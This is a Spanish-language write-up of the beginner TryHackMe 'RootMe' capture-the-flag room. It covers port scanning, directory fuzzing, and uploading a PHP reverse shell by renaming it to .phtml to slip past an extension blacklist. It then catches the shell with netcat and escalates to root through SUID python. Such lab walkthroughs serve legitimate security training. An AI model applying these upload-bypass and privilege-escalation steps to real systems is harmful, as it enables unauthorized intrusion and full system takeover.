RootMe


December 11, 20225 minutes

Un ctf para principiantes, me puedes rootear?

https://tryhackme.com/room/rrootme

IP Atacante = 10.10.10.10

IP víctima = 10.10.108.243

Reconocimiento

Para empezar lo primero es comprobar si la máquina está activa y que OS tiene

❯ ping -c 1 10.10.108.243
PING 10.10.108.243 (10.10.108.243) 56(84) bytes of data.
64 bytes from 10.10.108.243: icmp_seq=1 ttl=63 time=77.9 ms

--- 10.10.108.243 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 77.935/77.935/77.935/0.000 ms

En este caso da un ttl (time to live) de 63, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Linux por aproximación

Escaneo de puertos (nmap)

Ahora empezamos con un escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -n -vvv -Pn 10.10.108.243 -oG allPort
ParámetroFunción
-p-Para que el escaneo sea a todos los puertos (65536)
–openPara que solo reporte los puertos abiertos
-sS –min-rate 5000Definir el tiempo del escaneo
-nOmitir resolución DNS
-vvvPara que vaya reportando lo que encuentre por consola
-PnSkip host discovery
-oG allPortsPara que guarde el escaneo en format grepeable en un archivo llamado allPort

Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual

Función extractPorts de @s4vitar

❯ extractPorts allPort
───────┬────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼────────────────────────────────────────────────────────
   1   2[*] Extracting information...
   3   4[*] IP Address: 10.10.108.243
   5[*] Open ports: 22,80
   6   7[*] Ports copied to clipboard
   8───────┴────────────────────────────────────────────────────────

Ahora con nmap vamos a intentar buscar las versiones de los servicios de los puertos y ejecutar scripts básicos de reconocimientos

❯ nmap -p22,80 -sC -sV 10.10.108.243 -oN target

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 4ab916884c25448ba5cfd3f2252214 (RSA)
|   256 a9a686e8ec963f003cd16d54973082 (ECDSA)
|_  256 22f6b5a654d9787c26035a953f9dfcd (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: HackIT - Home
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set

Web

Con el whateb podemos ver info sobre a web

❯ whatweb 10.10.108.243
http://10.10.108.243 [200 OK] Apache[2.4.29], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.108.243], Script, Title[HackIT - Home]

Al entrar a la web solo se ve texto

Buscando subdirectorios (wfuzz)

Para ver si hay subdirectorios vamos a usar la herramienta wfuzz para fusear mediante un diccionario que está en /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt con el siguiente comando:

wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.108.243/FUZZ
ParámetroFunción
-cPara que lo reporte todo con colores
-tPara configurar el tiempo
–hc=404Para que no nos reporte los subdirectorios que no existan
-wEs donde se indica el diccionario
FUZZSe escribe donde quieres aplicar el diccionario

El wfuzz nos reporta lo siguiente

=====================================================================
ID           Response   Lines    Word       Chars       Payload                  
=====================================================================
000000550:   301        9 L      28 W       312 Ch      "css"
000000953:   301        9 L      28 W       311 Ch      "js"                     
000005520:   301        9 L      28 W       314 Ch      "panel"                  
000000164:   301        9 L      28 W       316 Ch      "uploads"
000095524:   403        9 L      28 W       278 Ch      "server-status"

Al entrar al /panel se ve un sitio para subir archivos

Probamos con subir una foto random, y vemos que aparece en el /uploads

Vulnerabilidad web

Viendo esto vamos a intentar subir un archivo .php para crear una reverse shell, este archivo es de pentestmonkey https://github.com/pentestmonkey/php-reverse-shell

Primero lo pasamos a nuestra máquina

git clone https://github.com/pentestmonkey/php-reverse-shell 

Después nos ponemos en escucha por el puerto 443

nc -nlvp 443

Y ahora lo subimos el archivo a /panel

¡Error!

No acepta archivos php, Los administradores pueden hacer una lista negra de extensiones de archivos específicas y evitar que los usuarios carguen archivos con extensiones que se consideran peligrosas. Esto se puede omitir mediante el uso de extensiones alternativas o incluso no relacionadas.

Ejemplo extensiones php —> .phtml, .php3, .php4, .php5

Vamos a probar con la primera (.phtml), le cambiamos el nombre al archivo, de php-reverse-shell.php a php-reverse-shell.phtml

Ahora ya le gusta

Desde /uploads le damos al archivo que hemos subido y recibimos una conexión

❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.10.10] from (UNKNOWN) [10.10.108.243] 37418
Linux rootme 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 13:52:50 up 48 min,  0 users,  load average: 0.00, 0.00, 0.05
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ 

Tratamiento de tty

Antes para trabajar mejor vamos a hacer un tratamiento de la terminal con los siguientes comandos:

script /dev/null -c bash

ctrl + z

stty raw -echo; fg
reset
xterm
export SHELL=bash
export TERM=xterm

Flags

En /var/wwwesta la primera flag user.txt

La flag de root está en el /root, pero no tenemos permisos para acceder, Con el comando history, se pueden ver dos comandos interesantes…

10  find / -perm /4000
11  python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

El comando find / -perm /4000 lo que hace es buscar todos los programas con permiso SUID, en este caso python tiene permiso SUID

¿Qué es el permiso SUID?

Hay veces que es necesario que un programa se ejecute con los privilegios de su propietario en lugar de con los privilegios del usuario que lo ejecuta. Un ejemplo es el comando passwd, el cual necesita tener privilegios de root, ya que tiene que acceder a los ficheros /etc/passwd o /etc/shadow en modo escritura. Estos programas constituyen un peligro potencial en un sistema, ya que si se hace un mal uso de ellos y el propietario tiene privilegios, root, el que lo ejecuta podrá hacer en el sistema todo lo que el propietario del programa tenga permitido.

El comando python -c 'import os; os.execl("/bin/sh", "sh", "-p")' lo que hace es spawnear una bash y como python se ejecuta como root, la bash que spawnea es como root

Ahora ya podemos ver la flag con cat /root/root.txt